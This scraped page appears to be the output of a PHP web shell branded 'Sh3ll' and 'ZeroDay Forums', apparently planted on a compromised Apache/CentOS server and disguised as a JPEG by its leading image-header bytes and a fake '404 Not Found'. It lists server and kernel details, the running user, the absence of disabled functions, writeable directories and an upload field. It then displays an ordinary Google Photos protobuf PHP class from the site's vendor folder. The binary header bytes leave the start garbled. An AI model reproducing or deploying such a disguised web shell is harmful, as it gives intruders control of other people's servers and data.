����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/st2/vendor/google/photos-library/src/Google/Photos/Library/V1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/st2/vendor/google/photos-library/src/Google/Photos/Library/V1/MediaMetadata.php
<?php
# Generated by the protocol buffer compiler.  DO NOT EDIT!
# source: google/photos/library/v1/photos_library.proto

namespace Google\Photos\Library\V1;

use Google\Protobuf\Internal\GPBType;
use Google\Protobuf\Internal\RepeatedField;
use Google\Protobuf\Internal\GPBUtil;

/**
 * Metadata for a media item.
 *
 * Generated from protobuf message <code>google.photos.library.v1.MediaMetadata</code>
 */
class MediaMetadata extends \Google\Protobuf\Internal\Message
{
    /**
     * Time when the media item was first created (not when it was uploaded to
     * Google Photos).
     *
     * Generated from protobuf field <code>.google.protobuf.Timestamp creation_time = 1;</code>
     */
    private $creation_time = null;
    /**
     * Original width (in pixels) of the media item.
     *
     * Generated from protobuf field <code>int64 width = 2;</code>
     */
    private $width = 0;
    /**
     * Original height (in pixels) of the media item.
     *
     * Generated from protobuf field <code>int64 height = 3;</code>
     */
    private $height = 0;
    protected $metadata;

    /**
     * Constructor.
     *
     * @param array $data {
     *     Optional. Data for populating the Message object.
     *
     *     @type \Google\Protobuf\Timestamp $creation_time
     *           Time when the media item was first created (not when it was uploaded to
     *           Google Photos).
     *     @type int|string $width
     *           Original width (in pixels) of the media item.
     *     @type int|string $height
     *           Original height (in pixels) of the media item.
     *     @type \Google\Photos\Library\V1\Photo $photo
     *           Metadata for a photo media type.
     *     @type \Google\Photos\Library\V1\Video $video
     *           Metadata for a video media type.
     * }
     */
    public function __construct($data = NULL) {
        \GPBMetadata\Google\Photos\Library\V1\PhotosLibrary::initOnce();
        parent::__construct($data);
    }

    /**
     * Time when the media item was first created (not when it was uploaded to
     * Google Photos).
     *
     * Generated from protobuf field <code>.google.protobuf.Timestamp creation_time = 1;</code>
     * @return \Google\Protobuf\Timestamp
     */
    public function getCreationTime()
    {
        return $this->creation_time;
    }

    /**
     * Time when the media item was first created (not when it was uploaded to
     * Google Photos).
     *
     * Generated from protobuf field <code>.google.protobuf.Timestamp creation_time = 1;</code>
     * @param \Google\Protobuf\Timestamp $var
     * @return $this
     */
    public function setCreationTime($var)
    {
        GPBUtil::checkMessage($var, \Google\Protobuf\Timestamp::class);
        $this->creation_time = $var;

        return $this;
    }

    /**
     * Original width (in pixels) of the media item.
     *
     * Generated from protobuf field <code>int64 width = 2;</code>
     * @return int|string
     */
    public function getWidth()
    {
        return $this->width;
    }

    /**
     * Original width (in pixels) of the media item.
     *
     * Generated from protobuf field <code>int64 width = 2;</code>
     * @param int|string $var
     * @return $this
     */
    public function setWidth($var)
    {
        GPBUtil::checkInt64($var);
        $this->width = $var;

        return $this;
    }

    /**
     * Original height (in pixels) of the media item.
     *
     * Generated from protobuf field <code>int64 height = 3;</code>
     * @return int|string
     */
    public function getHeight()
    {
        return $this->height;
    }

    /**
     * Original height (in pixels) of the media item.
     *
     * Generated from protobuf field <code>int64 height = 3;</code>
     * @param int|string $var
     * @return $this
     */
    public function setHeight($var)
    {
        GPBUtil::checkInt64($var);
        $this->height = $var;

        return $this;
    }

    /**
     * Metadata for a photo media type.
     *
     * Generated from protobuf field <code>.google.photos.library.v1.Photo photo = 6;</code>
     * @return \Google\Photos\Library\V1\Photo
     */
    public function getPhoto()
    {
        return $this->readOneof(6);
    }

    /**
     * Metadata for a photo media type.
     *
     * Generated from protobuf field <code>.google.photos.library.v1.Photo photo = 6;</code>
     * @param \Google\Photos\Library\V1\Photo $var
     * @return $this
     */
    public function setPhoto($var)
    {
        GPBUtil::checkMessage($var, \Google\Photos\Library\V1\Photo::class);
        $this->writeOneof(6, $var);

        return $this;
    }

    /**
     * Metadata for a video media type.
     *
     * Generated from protobuf field <code>.google.photos.library.v1.Video video = 7;</code>
     * @return \Google\Photos\Library\V1\Video
     */
    public function getVideo()
    {
        return $this->readOneof(7);
    }

    /**
     * Metadata for a video media type.
     *
     * Generated from protobuf field <code>.google.photos.library.v1.Video video = 7;</code>
     * @param \Google\Photos\Library\V1\Video $var
     * @return $this
     */
    public function setVideo($var)
    {
        GPBUtil::checkMessage($var, \Google\Photos\Library\V1\Video::class);
        $this->writeOneof(7, $var);

        return $this;
    }

    /**
     * @return string
     */
    public function getMetadata()
    {
        return $this->whichOneof("metadata");
    }

}


ZeroDay Forums Mini